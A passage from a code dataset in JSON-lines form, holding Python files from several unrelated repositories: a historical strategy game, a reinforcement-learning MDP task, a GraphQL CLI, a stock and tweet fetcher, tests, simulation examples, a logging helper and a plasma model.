\"Mesopotamia (GB)\", \"South Africa\", \"Botswana\", \"Rhodesia\", \"New Zealand\", \"Nigeria\"]\n\n self.land_1918_1936 = [\"United Kingdom of Great Britain and Ireland\", \"British East Africa\",\n \"British Somaliland\",\n \"Malaya\", \"British Protectorate\", \"British Raj\", \"Australia\", \"Sudan\", \"Egypt\",\n \"Union of South Africa\", \"Botswana\", \"German E. Africa (Tanganyika)\",\n \"German South-West Africa\", \"Mandatory Palestine (GB)\", \"Zambia\", \"Zimbabwe\",\n \"New Zealand\", \"Nigeria\"]\n\n self.land_1939 = [\"United Kingdom\", \"British East Africa\", \"British Somaliland\",\n \"Malaya\", \"British Protectorate\", \"British Raj\", \"Australia\", \"Sudan\", \"Egypt\",\n \"Union of South Africa\", \"Botswana\", \"Tanzania, United Republic of\",\n \"German South-West Africa\", \"Mandatory Palestine (GB)\", \"Dominion of Newfoundland\",\n \"New Zealand\",\n \"Swaziland\", \"Oman (British Raj)\", \"Nigeria\"]\n\n self.foreign_relations = {\"foreign relations\": []}\n\n def establish_foreign_objectives(self):\n if self.date.year <= 1918:\n objectives_enemy = [\"Contain Germany\", \"Contain Turkey\", \"Contain Austria\", \"Contain Bulgaria\"]\n objectives_allies = [\"Improve relations with United States\", \"Improve relations with France\",\n \"Improve relations with Canada\", \"Improve relations with Belgium\",\n \"Improve relations with Netherlands\", \"Improve relations with Russia\"]\n\n for enemy in objectives_enemy:\n self.objectives[\"objectives\"][0]['foreign'].append(enemy)\n\n for ally in objectives_allies:\n self.objectives[\"objectives\"][0]['foreign'].append(ally)\n\n else:\n objectives_enemy = [\"Contain Germany\", \"Contain Italy\", \"Contain Russia\", \"Contain Bulgaria\"]\n objectives_allies = [\"Improve relations with United States\", \"Improve relations with France\",\n \"Improve relations with Canada\", \"Improve relations with Belgium\",\n \"Improve relations with Netherlands\"]\n\n for enemy in objectives_enemy:\n self.objectives[\"objectives\"][0]['foreign'].append(enemy)\n\n for ally in objectives_allies:\n self.objectives[\"objectives\"][0]['foreign'].append(ally)\n\n\n def establish_map_coordinates(self):\n # collection of coordinates will be done separately in every nation,\n # so as to access information specifically to the nation(in this case Austria)\n file_path = 'C:/Users/wilbu/Desktop/Capstone-Project/nation_data/nation.json'\n with open(file_path, 'r') as file:\n nation_json = js.load(file)\n if self.date.year <= 1914:\n for land in range(0, len(self.land_1910_1914)):\n for i in range(0, len(nation_json['countries'])):\n if self.land_1910_1914[land] == nation_json['countries'][i]['nation_name']:\n self.coordinates.append((nation_json['countries'][i]['coordinates']))\n self.coordinates = (retreive_coords(self.coordinates))\n\n if self.date.year >= 1918 and self.date.year <= 1936:\n for land in range(0, len(self.land_1918_1936)):\n for i in range(0, len(nation_json['countries'])):\n if self.land_1918_1936[land] == nation_json['countries'][i]['nation_name']:\n self.coordinates.append((nation_json['countries'][i]['coordinates']))\n self.coordinates = (retreive_coords(self.coordinates))\n\n if self.date.year >= 1939:\n for land in range(0, len(self.land_1939)):\n for i in range(0, len(nation_json['countries'])):\n if self.land_1939[land] == nation_json['countries'][i]['nation_name']:\n self.coordinates.append((nation_json['countries'][i]['coordinates']))\n self.coordinates = (retreive_coords(self.coordinates))\n","repo_name":"BWilb/Capstone-Project","sub_path":"nation_state/europe/britain/britain_ai.py","file_name":"britain_ai.py","file_ext":"py","file_size_in_byte":8171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43458338772","text":"from __future__ import division, generators, print_function\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport macarico.util as util\nfrom macarico.util import Var, Varng\nimport macarico\n\ndef sample_from(l):\n r = sum((p for _, p in l)) * np.random.random()\n last_chance = None\n for k, p in l:\n if last_chance is None: last_chance = k\n r -= p\n if r <= 0: return k\n return last_chance\n\nclass MDPExample(object):\n def __init__(self, initial, transitions, costs, T):\n self.states = set([s for s, _ in initial])\n self.n_actions = 0\n for _, actions in transitions.items():\n for a, subsequent in actions.items():\n self.n_actions = max(a, self.n_actions)\n for s1, p in subsequent:\n if p > 0:\n self.states.add(s1)\n self.n_actions += 1\n self.initial = initial\n self.transitions = transitions\n self.costs = costs\n self._T = T\n\nclass MDP(macarico.Env):\n def __init__(self, example):\n macarico.Env.__init__(self, example.n_actions, example._T, example)\n self.s0 = sample_from(self.example.initial)\n self.example.cost = 0\n\n def _run_episode(self, policy):\n cost = 0\n self.s = self.s0\n for _ in range(self.horizon()):\n self.actions = self.example.transitions[self.s].keys()\n a = policy(self)\n s1 = sample_from(self.example.transitions[self.s][a])\n cost += self.example.costs(self.s, a, s1)\n self.s = s1\n self.example.cost = cost\n return self._trajectory\n\n def _rewind(self):\n pass\n\nclass MDPLoss(macarico.Loss):\n def __init__(self):\n super(MDPLoss, self).__init__('cost')\n\n def evaluate(self, example):\n return example.cost\n \nclass DeterministicReference(macarico.Reference):\n def __init__(self, pi_ref):\n self.pi_ref = pi_ref\n\n def __call__(self, state):\n return self.pi_ref(state.s)\n\n def set_min_costs_to_go(self, state, costs):\n a_star = self.pi_ref(state)\n costs.zero_()\n costs += 1\n costs[a_star] = 0\n\nclass MDPFeatures(macarico.DynamicFeatures):\n def __init__(self, n_states, noise_rate=0):\n macarico.DynamicFeatures.__init__(self, n_states)\n self.n_states = n_states\n self.noise_rate = noise_rate\n self._t = nn.Linear(1,1,bias=False)\n\n def _forward(self, state):\n f = util.zeros(self._t.weight, 1, 1, self.n_states)\n if np.random.random() > self.noise_rate:\n f[0, 0, state.s] = 1\n return Varng(f)\n\n def __call__(self, state): return self.forward(state)\n\n","repo_name":"hal3/macarico","sub_path":"macarico/tasks/mdp.py","file_name":"mdp.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"3"} +{"seq_id":"25384290484","text":"\"\"\"Main module for example code to access the Manetu.io GraphQL interface.\"\"\"\n\n__copyright__ = \"\"\"\nCopyright (C) 2021 Manetu Inc.\nAuthor: Alex Tsariounov \n\nThis is free software; please see the LICENSE file\nfor details and any restrictions.\n\"\"\"\n\nfrom mql.gql import GQL\nfrom mql.version import version\nimport mql.args\nimport argparse, base64, importlib, os, sys\n\n\n# cmdline entry point and dispatcher\ndef main():\n args = mql.args.parser.parse_known_args()\n\n if args[0].verbose:\n print(f'Manetu.io GraphQL interface, version {version}')\n if args[0].verbose > 1:\n print(f'dispatching command: \"{args[0].command}\", with verbosity of {args[0].verbose}')\n\n try:\n if args[0].command == None:\n print('Error: command not specified')\n mql.args.parser.print_usage()\n sys.exit(1)\n\n # first import the command\n cmd = importlib.import_module(f'mql.commands.{args[0].command}')\n\n if args[0].verbose > 1:\n print(f'arguments: {args}')\n\n tokStr = resolveTok(args[0])\n if tokStr == None:\n print('no PAT or JWT specified, cannot login to manetu.io')\n mql.args.parser.print_usage()\n sys.exit(1)\n\n if args[0].verbose > 1:\n print(f'using token string: \"{tokStr}\"')\n\n gql = GQL({'Authorization': tokStr}, args[0].uri, args[0].verbose)\n \n # and now execute it\n cmd.dispatch(gql, args[0], args[1])\n\n except SystemExit:\n raise\n\n except:\n if args[0].verbose > 1:\n raise\n print(f'Unexpected error for command: {args[0].command}, error: {sys.exc_info()[1]}')\n sys.exit(2)\n\n\ndef resolveTok(args):\n # check for the pat, which is perferred over jwt\n if args.pat == None:\n if args.jwt == None:\n # default env for PAT, if not present try JWT\n tok = os.environ.get(mql.args.defPAT)\n if tok == None or tok == '':\n # PAT not specified, try defualt JWT\n tok = os.environ.get(mql.args.defJWT)\n if tok == None or tok == '':\n return None\n else:\n return 'Bearer ' + tok\n else:\n return 'Basic ' + base64.b64encode(f':{tok}'.encode('utf-8')).decode('utf-8')\n else:\n # jwt env specified\n tok = os.environ.get(args.jwt)\n if tok == None or tok == '':\n return None\n else:\n return 'Bearer ' + tok\n else:\n # pat env specified\n tok = os.environ.get(args.pat)\n if tok == None or tok == '':\n return None\n return 'Basic ' + base64.b64encode(f':{tok}'.encode('utf-8')).decode('utf-8')\n","repo_name":"manetu/manetu-ql","sub_path":"mql/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39160302417","text":"import insertdata\nimport modify\nimport update\n\ntry:\n import urllib.request as urllib2\nexcept ImportError:\n import urllib2\n \nfrom datetime import datetime, timedelta\nfrom urllib.request import urlopen\nimport json\nimport random\n\ndef price_data(connection, ticker):\n \"\"\"\n This function can be modified to take different lengths of historical data\n based on what is needed\n \n Returns a nested list in the following format:\n [0] = YYYY - MM - DD\n [1] = Open Price\n [2] = High Price\n [3] = Low Price\n [4] = Closing Price\n [5] = Volume\n [6] = Closing with 1 SigFig Accuracy \n \"\"\"\n \n backtrack = datetime.today() - timedelta(days=5)\n start_date = backtrack.strftime('%Y%m%d')\n end_date = datetime.today().strftime('%Y%m%d')\n \n print(\"Raw Stock Data Historical Price -----------------------------\")\n data = fetch_historical_prices(ticker, start_date, end_date)\n \n counter = 0 \n for historical in data: \n Date = historical[0] \n Open_Price = historical[1] \n High_Price = historical[2] \n Low_Price = historical[3] \n Closing_Price = historical[4] \n Volume = historical[5] \n Ticker = ticker\n Unique_Entry = random.randint(10000, 100000000000000)\n counter = counter + 1\n insertdata.insert_stockprices(counter, connection, Unique_Entry, Date, Open_Price, High_Price, Low_Price, Closing_Price, Volume, Ticker) \n return data\n \ndef fetch_historical_prices(symbol, start_date, end_date):\n \"\"\"\n This function gets historical prices for the given ticker symbol. \n \"\"\"\n url = 'http://ichart.yahoo.com/table.csv?s=%s&' % symbol + \\\n 'd=%s&' % str(int(end_date[4:6]) - 1) + \\\n 'e=%s&' % str(int(end_date[6:8])) + \\\n 'f=%s&' % str(int(end_date[0:4])) + \\\n 'g=d&' + \\\n 'a=%s&' % str(int(start_date[4:6]) - 1) + \\\n 'b=%s&' % str(int(start_date[6:8])) + \\\n 'c=%s&' % str(int(start_date[0:4])) + \\\n 'ignore=.csv'\n days = urlopen(url).readlines() \n data = [day[:-2].decode(\"ascii\").split(',') for day in days][1:]\n return data\n \ndef fetch_tweets(ticker):\n url = \"https://api.stocktwits.com/api/2/streams/symbol/{0}.json\".format(ticker)\n tweets = urlopen(url).read()\n print(type(tweets))\n data = json.loads(tweets.decode('utf-8'))\n return data\n \ndef fetch_saved_tweets(connection, filename, ticker, ticker_company):\n with open(filename) as data_file: \n data = json.load(data_file)\n\n position = 0\n position = int(position)\n list_size = len(data[ticker])\n\n for tweet in range(0,list_size):\n Unique_Entry = data[ticker][position][\"id\"]\n Date = data[ticker][position][\"created_at\"]\n Date = Date.split(\"T\")[0]\n Date = Date.split(\"-\")\n Date = Date[0] + \"-\" + Date[1] + \"-\" + Date[2]\n User_Sentiment = data[ticker][position][\"entities\"][\"sentiment\"]\n if User_Sentiment is not None:\n User_Sentiment = User_Sentiment[\"basic\"]\n if 'likes' in data[ticker][position]:\n Total_Likes = data[ticker][position][\"likes\"][\"total\"]\n else:\n Total_Likes = 0\n Username = data[ticker][position][\"user\"][\"username\"]\n Tweet_Content = data[ticker][position][\"body\"]\n\n \n Tweet_Sentiment = \"0\"\n Tweet_Analysis = \"0\"\n Ticker = ticker\n \n position = position + 1\n\n Tweet_Content = connection.escape(Tweet_Content)\n Tweet_Content = modify.sanitize_data(Tweet_Content) \n \n print(\"\")\n print(ticker_company) \n print(\"----------------------------- Tweet: \", position)\n print(\"Entry \", Unique_Entry) \n print(\"Date: \", Date)\n print(\"Total Likes: \", Total_Likes)\n print(\"Username: \", Username)\n print(\"Tweet Body: \", Tweet_Content)\n print(\"----------------------------- \")\n insertdata.insert_database(connection, Unique_Entry, Date, User_Sentiment, Total_Likes, Username, Tweet_Content, Tweet_Sentiment, Tweet_Analysis, Ticker)\n \ndef get_tweets_list(tickers):\n ret = {}\n for ticker in tickers:\n print (\"Getting data for\", ticker)\n try:\n data = fetch_tweets(ticker)\n symbol = data['symbol']['symbol']\n msgs = data['messages']\n ret.update({symbol : msgs})\n except Exception as e:\n print (e)\n print (\"Error getting\", ticker)\n return ret","repo_name":"pablofernandezorg/alpha-dragon","sub_path":"fetchdata.py","file_name":"fetchdata.py","file_ext":"py","file_size_in_byte":4718,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"29184520807","text":"\nfrom infra.capacity_planning.utils.quota_mover.src.lib.quota_operations import (\n transfers_from_parameters,\n get_unit_multipliers,\n)\n\n\ndef test_transfers_from_parameters():\n provider = 'yp'\n segments = ['default']\n from_service = 'service_1'\n to_service = 'service_2'\n from_folder = 'folder_1'\n to_folder = 'folder_2'\n resource = ['cpu:1:core']\n ans = transfers_from_parameters(\n provider=provider,\n segments=segments,\n from_service=from_service,\n to_service=to_service,\n from_folder=from_folder,\n to_folder=to_folder,\n resource=resource,\n )\n row = ans[0]\n\n assert row['provider'] == provider\n assert row['segments'] == segments\n assert row['source_service'] == from_service\n assert row['target_service'] == to_service\n assert row['source_folder'] == from_folder\n assert row['target_folder'] == to_folder\n assert [row['resource'], str(row['amount']), row['unit']] == resource[0].split(':')\n\n\ndef test_get_unit_multipliers():\n ensemble_id = 'ens_id_1'\n unit_ensemblies = {\n 'ens_id_1': [\n {\n 'id': 'unit_id_1',\n 'key': 'cores',\n 'base': 2,\n 'power': 10,\n },\n {\n 'id': 'unit_id_2',\n 'key': 'multi_cores',\n 'base': 2,\n 'power': 0,\n },\n ]\n }\n unit_multipliers = get_unit_multipliers(unit_ensemblies, ensemble_id)\n assert unit_multipliers['cores'] == (1024, 'multi_cores', 'unit_id_2')\n assert unit_multipliers['multi_cores'] == (1, 'multi_cores', 'unit_id_2')\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/unit/lib/test_quota_operations.py","file_name":"test_quota_operations.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3508489561","text":"# -*- coding: utf-8 -*-\n\"\"\"graph_utils.py: Graph related utilties. It does not require networkx library.\nIt writes files to be used with graphviz.\n\nLast modified: Sat Jan 18, 2014 05:01PM\n\n\"\"\"\n\n__author__ = \"Dilawar Singh\"\n__copyright__ = \"Copyright 2013, NCBS Bangalore\"\n__credits__ = [\"NCBS Bangalore\", \"Bhalla Lab\"]\n__license__ = \"GPL\"\n__version__ = \"1.0.0\"\n__maintainer__ = \"Dilawar Singh\"\n__email__ = \"dilawars@ncbs.res.in\"\n__status__ = \"Development\"\n\nimport sys\nfrom . import _moose\nimport inspect\nfrom . import print_utils as debug\nimport re\n\npathPat = re.compile(r'.+?\\[\\d+\\]$')\n\ndef getMoosePaths(pat, isRoot=True):\n ''' Return a list of paths for a given pattern. '''\n if type(pat) != str:\n pat = pat.path\n assert type(pat) == str\n moose_paths = [x.path for x in _moose.wildcardFind(pat)]\n return moose_paths\n\ndef writeGraphviz(filename=None, pat='/##[TYPE=Compartment]'):\n '''This is a generic function. It takes the the pattern, search for paths\n and write a graphviz file.\n '''\n\n def fix(path):\n '''Fix a given path so it can be written to a graphviz file'''\n # If no [0] is at end of the path then append it.\n global pathPat\n if not pathPat.match(path):\n path = path + '[0]'\n return path\n\n\n pathList = getMoosePaths(pat)\n compList = _moose.wildcardFind(pat)\n if not compList:\n debug.dump(\"WARN\"\n , \"No compartment found\"\n , frame = inspect.currentframe()\n )\n\n dot = []\n dot.append(\"digraph G {\")\n dot.append(\"\\tconcentrate=true;\")\n for c in compList:\n if c.neighbors['raxial']:\n for n in c.neighbors['raxial']:\n lhs = fix(c.path)\n rhs = fix(n.path)\n dot.append('\\t\"{}\" -> \"{}\";'.format(lhs, rhs))\n elif c.neighbors['axial']:\n for n in c.neighbors['axial']:\n lhs = fix(c.path)\n rhs = fix(n.path)\n dot.append('\\t\"{}\" -> \"{}\" [dir=back];'.format(lhs, rhs))\n else:\n p = fix(c.path)\n dot.append('\\t\"{}\"'.format(p))\n\n dot.append('}')\n dot = '\\n'.join(dot)\n if not filename:\n print(dot)\n else:\n with open(filename, 'w') as graphviz:\n debug.dump(\"INFO\"\n , \"Writing compartment topology to file {}\".format(filename)\n )\n graphviz.write(dot)\n return True\n\n","repo_name":"BhallaLab/moose","sub_path":"moose-core/python/moose/graph_utils.py","file_name":"graph_utils.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"3"} +{"seq_id":"15021162480","text":"# -*- coding: utf-8\n# author: zarhin\n# date: 2020/8/6 16:04\n\nimport numpy as np\nimport part\nimport opensees_tools as ops\nimport opensees_to_gid as otg\n\np0 = part.Point([0.0, 0.0])\np1 = part.Point([10.0, 1.0])\np2 = part.Point([0.0, 1.0])\np3 = part.Point([10.0, 2.0])\n\n# part 1\npart.Node.reset()\npart.Element.reset()\nrec1 = part.Rectangle([p0, p1])\nrec1.set_seed(1.0)\nrec1.mesh()\n\n# part 2\nrec2 = part.Rectangle([p2, p3])\nrec2.set_seed(1.0)\nrec2.mesh()\n\n# opensees model\nops.opsfunc('wipe')\nops.opsfunc('model', 'basic', '-ndm', 2, '-ndf', 2)\n\n# opensees nodes\nnodes = rec1.nodes + rec2.nodes\nfor node in nodes:\n ops.opsfunc('node', node.tag, *node.coord)\n\n# boundary\nfor node in part.Node.search([0.0, 0.0], [0.0, 2.0]):\n ops.opsfunc('fix', node.tag, 1, 1)\n\n# material\n# Material \"Material01\": matTag E v rho\nops.opsfunc('nDMaterial', 'ElasticIsotropic', 1, 1e5, 0.25, 6.75)\n\n# elements\nelements = rec1.elements + rec2.elements\nfor element in elements:\n nodes = [node.tag for node in element.nodes]\n ops.opsfunc('element', 'quad', element.tag, *nodes, 1.0, 'PlaneStrain', 1)\n\n# contact nodes\nslave_nodes = part.Node.search([0.0, 1.0], [10.0, 1.0], rec1.nodes)\nmaster_nodes = part.Node.search([0.0, 1.0], [10.0, 1.0], rec2.nodes)\ncontact_nodes = slave_nodes[-1::-1] + master_nodes\nele = part.Element(contact_nodes, id0='contact')\nops.opsfunc('element', 'zeroLengthInterface2D', ele.tag, '-sNdNum',\n len(slave_nodes), '-mNdNum', len(master_nodes), '-dof', 2, 2,\n '-Nodes', *[node.tag for node in ele.nodes], 1e8, 1e8, 16)\n\n# load pattern\nops.opsfunc('timeSeries', 'Constant', 1)\nops.opsfunc('pattern', 'Plain', 1, 1, '{')\nload_node = part.Node.search([10.0, 2.0])\nops.opsfunc('load', load_node.tag, 0.0, -0.1, '}')\n\n# recorder\nops.opsfunc('printGID', 'example2.msh')\nnode_list = ops.opsfunc('getNodeTags')\nops.opsfunc('recorder', 'Node', '-file', 'disp.txt', '-node', *node_list,\n '-dof', 1, 2, 'disp')\nops.opsfunc('recorder', 'Element', '-file', 'ele.txt', '-ele', 21, 'material', 1, 'pressure')\n\nprint(ops.opsfunc('eleResponse', 21, 'pressure'))\n# analysis option\nops.opsfunc('integrator', 'DisplacementControl', load_node.tag, 2, -1.0e-5)\nops.opsfunc('test', 'EnergyIncr', 1.0e-6, 100, 5)\nops.opsfunc('algorithm', 'Newton')\nops.opsfunc('numberer', 'RCM')\nops.opsfunc('constraints', 'Transformation')\n# ops.opsfunc('system', 'ProfileSPD')\nops.opsfunc('system', 'UmfPack')\nops.opsfunc('analysis', 'Static')\nops.opsfunc('analyze', 500)\nprint(ops.opsfunc('eleResponse', 21, 'material', 1, 'pressure'))\n# ops.opsfunc('printModel', 'ele')\nops.opsfunc('wipe')\n# ops.opsfunc()\n\ndisp = np.loadtxt('disp.txt')\notg.node_result(node_list, [disp], ['Displacement'], 'Static Analysis',\n time_column=False, file_name='example2.res')\n","repo_name":"Zarhin/OpenSeesPyExamples","sub_path":"ZeroLengthInterface2D/example2/example2.py","file_name":"example2.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"13715958255","text":"\nchairs = [input() for _ in range(4)]\n\nk = int(input())\n\nturn = [\n tuple(map(int,input().split()))\n for _ in range(k)\n]\n\n# 우측 접점 index : 2, 좌측 접점 index : 6\nRIGHT, LEFT = 2,6\nchairs_next = [''] * 4\n\ndef shift_table(table,dir):\n if dir == 1 : # clock\n temp = table[-1]\n result = temp + table[:-1]\n else : #counter clock\n temp = table[0]\n result = table[1:] + temp\n return result\n\ndef check_left(cur_idx,dir):\n # chairs_next[cur_idx] = shift_table(chairs[cur_idx],dir)\n Flag = True\n while cur_idx > 0 :\n if chairs[cur_idx][LEFT] != chairs[cur_idx-1][RIGHT] and Flag:\n chairs_next[cur_idx-1] = shift_table(chairs[cur_idx-1],-dir)\n cur_idx -= 1\n dir = -dir\n else :\n chairs_next[cur_idx-1] = chairs[cur_idx-1][:]\n cur_idx -= 1\n Flag = False\n\ndef check_right(cur_idx,dir):\n # chairs_next[cur_idx] = shift_table(chairs[cur_idx],dir)\n Flag = True\n while cur_idx < 3 :\n if chairs[cur_idx][RIGHT] != chairs[cur_idx+1][LEFT] and Flag:\n chairs_next[cur_idx+1] = shift_table(chairs[cur_idx+1],-dir)\n cur_idx += 1\n dir = -dir\n else :\n chairs_next[cur_idx+1] = chairs[cur_idx+1][:]\n cur_idx += 1\n Flag = False\n\ndef calc():\n \n return sum([int(chairs[i][0]) * (2 ** i) for i in range(4)])\n\n\nfor table_idx,dir in turn:\n cur_idx,cur_dir = table_idx-1,dir\n chairs_next[cur_idx] = shift_table(chairs[cur_idx],dir)\n check_left(cur_idx,cur_dir)\n check_right(cur_idx,cur_dir)\n chairs = chairs_next[:]\n chairs_next = [''] * 4\n\n\nprint(calc())","repo_name":"SeongSuKim95/Python_practice","sub_path":"Implementation_practice/기출문제/돌아가는팔각의자.py","file_name":"돌아가는팔각의자.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8778374408","text":"\"\"\"\nDebugging Module\n\"\"\"\n\nimport logging\n\nfrom typing import (\n Any,\n Callable,\n Dict,\n Tuple,\n TypeVar,\n Union,\n Optional,\n cast,\n)\n\n# types\nFuncType = Callable[..., Any]\nFuncTypeVar = TypeVar(\"FuncTypeVar\", bound=FuncType)\n\n\ndef debugging(obj: FuncTypeVar) -> FuncTypeVar:\n \"\"\"\n Decorator function that attaches a debugging logger to a class or function.\n \"\"\"\n # create a logger for this object\n logger = logging.getLogger(obj.__module__ + \".\" + obj.__qualname__)\n\n # make it available to instances\n setattr(obj, \"log_logger\", logger)\n setattr(obj, \"log_debug\", logger.debug)\n\n return obj\n\n\n# pylint: disable=bad-continuation\n@debugging\ndef create_log_handler(\n logger: Union[logging.Logger, str, None] = None,\n handler: Optional[logging.StreamHandler] = None,\n level: Union[int, str] = logging.DEBUG,\n) -> None:\n \"\"\"\n Add a stream handler with our custom formatter to a logger.\n \"\"\"\n logger_ref: logging.Logger\n\n # find a reference to the logger\n if isinstance(logger, logging.Logger):\n logger_ref = logger\n\n elif isinstance(logger, str):\n # check for a valid logger name\n if logger not in logging.Logger.manager.loggerDict: # type: ignore\n raise RuntimeError(\"not a valid logger name: %r\" % (logger,))\n\n # get the logger\n logger_ref = logging.getLogger(logger)\n\n elif logger is None:\n # get the root logger\n logger_ref = logging.getLogger(None)\n\n else:\n raise RuntimeError(\"not a valid logger reference: %r\" % (logger,))\n\n # make a handler if one wasn't provided\n if not handler:\n handler = logging.StreamHandler()\n handler.setLevel(level)\n\n # use our formatter\n handler.setFormatter(logging.Formatter(\"%(levelname)s:%(name)s %(message)s\"))\n\n # add it to the logger\n logger_ref.addHandler(handler)\n\n # find the level if it is a name\n if isinstance(level, str):\n try:\n level = getattr(logging, level.upper())\n except:\n raise ValueError(f\"not a logging level name: {level}\")\n\n # make sure the logger has at least this level\n logger_ref.setLevel(level)\n\n\nclass LoggingMetaclass(type):\n \"\"\"\n Logging Metaclass\n \"\"\"\n\n def __new__(\n cls: Any,\n clsname: str,\n superclasses: Tuple[type, ...],\n attributedict: Dict[str, Any],\n ) -> \"LoggingMetaclass\":\n \"\"\"\n Called for new classes inheriting from Logging, this calls the\n debugging function to set the _logger and _debug references to\n a Logger and its debug() method.\n \"\"\"\n return cast(\n LoggingMetaclass,\n debugging(type.__new__(cls, clsname, superclasses, attributedict)),\n )\n\n\n# pylint: disable=too-few-public-methods\nclass Logging(metaclass=LoggingMetaclass):\n \"\"\"\n Inherit from this class to get a log_logger and log_debug method.\n \"\"\"\n\n log_logger: logging.Logger\n log_debug: Callable[..., None]\n","repo_name":"stevemandl/pyredismq","sub_path":"redismq/debugging.py","file_name":"debugging.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"10390456606","text":"#!/usr/bin/env python\n# title : Two-fluid plasma model in cylindrical coordinates\n#description : Tracks evoluton of heated plasma as it expands and moves\n# in the axial and radial directions\n#author : Martin Goycoolea\n#notes : Adapted from Fortran 90 code provided by Anna Perona and\n# Prof. Francesco Giammanco\n#python_version : python 3.3.1 , numpy 1.7.1\n#==========================================================================\nimport numpy as np\nempty = np.empty\nvsum = np.sum\nvexp = np.exp\ndot = np.dot\nwhere = np.where\nvsqrt = np.sqrt\nvabs = np.abs\nzeros_like = np.zeros_like\nempty_like = np.empty_like\nfmax = np.fmax\nfmin = np.fmin\nvsign = np.sign\n\n##########################\n# System Input Variables #\n##########################\n\nrdomain = 5\nrpoints = 50\nzdomain = 10\nzpoints = 50\n\ndt = 1e-12\nnstep = int(1e4)\nsave_freq = int(1e1)\nscheme = 'heun' #either euler, heun, or rk4\n\nT_0 = 0.1\nmax_den_0 = 1e14\nradius_den_0 = 2\nBz_ext = 0\n\n\nc = 3e10 #speed of light\ngas_gamma = 5/3\nnumber_saves = nstep//save_freq\n\n####################\n# Helper Functions #\n####################\n\n\ndef create_grids(rdomain, rpoints, zdomain, zpoints):\n ''' Return grids where r(z) domain is the physical length of R (Z)\n and r (z) points is the number of grid points. The first\n point is a distance dr (dz) * 1/2 from the origin.'''\n\n R = np.linspace(0, rdomain, rpoints)\n dr = R[1] - R[0]\n R += dr/2\n Z = np.linspace(0, zdomain, zpoints)\n dz = Z[1] - Z[0]\n Z += dz/2\n Rgrid, Zgrid = np.meshgrid(R, Z, indexing='ij')\n return R, dr, Z, dz, Rgrid, Zgrid\n\n\n\n####################################\n# Conservative Evolution Equations #\n#################################### \n\ndef radial_corrections(R):\n Rsize = np.size(R) + 2\n idomain = np.arange(0, Rsize) + 1/2\n i = idomain[1:-1]\n ip = idomain[2:]\n im = idomain[:-2]\n\n curvature_mod = 1/(6*idomain[:-1])\n centered = 1 - 1/(12*ip*im)\n forward = 1 - 1/(12*i*ip)\n backward = 1 - 1/(12*i*im)\n \n ones = np.ones(zpoints)\n curvature_mod = np.meshgrid(curvature_mod, ones, indexing='ij')[0]\n backward = np.meshgrid(backward, ones, indexing='ij')[0]\n centered = np.meshgrid(centered, ones, indexing='ij')[0]\n forward = np.meshgrid(forward, ones, indexing='ij')[0]\n\n return curvature_mod, backward, centered, forward\n\n \ndef PM_states(var, r_bc ='open', z_bci='open', z_bcf='open'):\n\n\n #R-dir: create an array with ghost cells for boundary conditions\n # open: open ended, same values\n # inv: the value must change signs e.g. r-momentum in reflective boundary on r\n # ref: value must be reflected yet not made negative e.g. pressure\n var_r_bc = empty((rpoints+2, zpoints))\n var_r_bc[:-2,:] = var \n if r_bc=='open':\n var_r_bc[-2,:] = var_r_bc[-3,:]\n var_r_bc[-1,:] = var_r_bc[-3,:]\n if r_bc=='inv':\n var_r_bc[-2,:] = -var_r_bc[-3,:]\n var_r_bc[-1,:] = -var_r_bc[-4,:]\n if r_bc=='ref':\n var_r_bc[-2,:] = var_r_bc[-3,:]\n var_r_bc[-1,:] = var_r_bc[-4,:]\n\n # Differences that will be used as input the slope limiter with corrections\n # Note that the indexing starts from the second point (the origin volume is treated separately)\n r_diff = np.diff(var_r_bc, axis=0)\n r_forw = r_diff[1:,:]\n r_back = r_diff[:-1,:]\n\n U_rf = 2*r_forw / forward\n U_rb = 2*r_back / backward\n U_rc = 1/2*(r_forw+r_back) / centered\n\n # Computing the slope\n signUr = vsign(U_rf)\n r_slope = empty_like(r_diff)\n r_slope[1:,:] = fmax(0,fmin(vabs(U_rf), fmin(U_rb*signUr, U_rc*signUr) ) )\n #The first point is special because it can't do central differences, take forward instead.\n # (A backward differencing in the second point is the same as forward differencing on first)\n r_slope[0,:] = r_back[0,:] / backward[0,:] \n \n # The pm states for r!\n rm = var_r_bc[:-2,:] + 1/2*r_slope[:-1,:]*(1 - curvature_mod[:-1,:])\n rp = var_r_bc[1:-1,:] - 1/2*r_slope[1:,:]*(1 + curvature_mod[1:,:])\n\n \n # Z-direction, same definitions as r-dir, just two boundaries instead of one. \n var_z_bc = empty((rpoints, zpoints+4))\n var_z_bc[:,2:-2] = var\n if z_bci=='open':\n var_z_bc[:,1] = var_z_bc[:,2]\n var_z_bc[:,0] = var_z_bc[:,2]\n if z_bci=='inv':\n var_z_bc[:,1] = -var_z_bc[:,2]\n var_z_bc[:,0] = -var_z_bc[:,3]\n if z_bci=='ref':\n var_z_bc[:,1] = var_z_bc[:,2]\n var_z_bc[:,0] = var_z_bc[:,3]\n\n if z_bcf=='open':\n var_z_bc[:,-1] = var_z_bc[:,-3]\n var_z_bc[:,-2] = var_z_bc[:,-3]\n if z_bcf=='inv':\n var_z_bc[:,-1] = -var_z_bc[:,-4]\n var_z_bc[:,-2] = -var_z_bc[:,-3]\n if z_bcf=='ref':\n var_z_bc[:,-1] = var_z_bc[:,-4]\n 